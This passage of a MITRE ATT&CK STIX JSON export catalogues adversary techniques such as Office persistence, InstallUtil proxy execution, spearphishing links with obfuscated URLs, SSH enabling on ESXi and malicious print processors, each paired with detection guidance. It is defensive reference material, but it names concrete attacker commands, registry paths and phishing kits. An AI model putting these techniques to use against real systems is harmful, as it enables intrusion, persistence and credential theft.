                    "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "SensePost Ruler GitHub",
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:54:32.990Z",
            "name": "Office Application Startup",
            "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Nick Carr, Mandiant",
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Sahar Shukrun",
                "Praetorian",
                "Loic Jaquemet",
                "Ricardo Dias"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Application Log: Application Log Content",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Module: Module Load",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "created": "2020-01-23T19:09:48.811Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/004",
                    "external_id": "T1218.004"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "LOLBAS Installutil",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:11.581Z",
            "name": "InstallUtil",
            "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
            "created": "2020-10-02T17:09:50.723Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598/003",
                    "external_id": "T1598.003"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
                },
                {
                    "source_name": "IAPP",
                    "description": "IAPP. (n.d.). Retrieved March 5, 2024.",
                    "url": "https://iapp.org/resources/article/web-beacon/"
                },
                {
                    "source_name": "QR-campaign-energy-firm",
                    "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.",
                    "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm"
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mr. D0x BitB 2022",
                    "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.",
                    "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "NIST Web Bug",
                    "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.",
                    "url": "https://csrc.nist.gov/glossary/term/web_bug"
                },
                {
                    "source_name": "Proofpoint Human Factor",
                    "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.",
                    "url": "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf"
                },
                {
                    "source_name": "Ryte Wiki",
                    "description": "Ryte Wiki. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://en.ryte.com/wiki/Tracking_Pixel/"
                },
                {
                    "source_name": "qr-phish-agriculture",
                    "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.",
                    "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing"
                },
                {
                    "source_name": "ZScaler BitB 2020",
                    "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.",
                    "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:10:59.931Z",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly  to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther",
                "Sebastian Salla, McAfee",
                "Menachem Goldstein",
                "Robert Simmons, @MalwareUtkonos",
                "Elpidoforos Maragkos, @emaragkos",
                "Joas Antonio dos Santos, @C0d3Cr4zy",
                "Austin Herrin",
                "Obsidian Security",
                "Sam Seabrook, Duke Energy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "created": "2020-02-11T18:27:15.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/004",
                    "external_id": "T1021.004"
                },
                {
                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                    "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
                },
                {
                    "source_name": "TrendMicro ESXI Ransomware",
                    "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:17.607Z",
            "name": "SSH",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in <code>/var/log/auth.log</code> or <code>/var/log/secure</code> depending on the distro you are using.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "created": "2020-01-19T16:59:45.362Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/003",
                    "external_id": "T1098.003"
                },
                {
                    "source_name": "Expel AWS Attacker",
                    "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
                    "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
                },
                {
                    "source_name": "Microsoft O365 Admin Roles",
                    "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
                },
                {
                    "source_name": "AWS IAM Policies and Permissions",
                    "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
                },
                {
                    "source_name": "Google Cloud IAM Policies",
                    "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/iam/docs/policies"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
                    "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:46:09.054Z",
            "name": "Additional Cloud Roles",
            "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Alex Parsons, Crowdstrike",
                "Chris Romano, Crowdstrike",
                "Wojciech Lesicki",
                "Pi\u00e0 Consigny, Tenable",
                "Cl\u00e9ment Notin, Tenable",
                "Praetorian",
                "Alex Soler, AttackIQ",
                "Arad Inbar, Fidelis Security",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "SaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
            "created": "2020-10-05T13:24:49.780Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/012",
                    "external_id": "T1547.012"
                },
                {
                    "source_name": "Microsoft AddPrintProcessor May 2018",
                    "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
                },
                {
                    "source_name": "Microsoft Intro Print Processors",
                    "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
                },
                {
                    "source_name": "ESET PipeMon May 2020",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:17.860Z",
            "name": "Print Processors",
            "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mathieu Tartare, ESET",
                "Tahseen Bin Taj"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver</code> or <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver</code> as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Driver: Driver Load",
                "Module: Module Load",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "created": "2017-05-31T21:31:07.958Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1089",
                    "external_id": "T1089"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/578.html",
                    "external_id": "CAPEC-578"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:19.601Z",
            "name": "Disabling Security Tools",
            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e",
            "created": "2019-03-19T19:38:27.097Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1487",
                    "external_id": "T1487"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
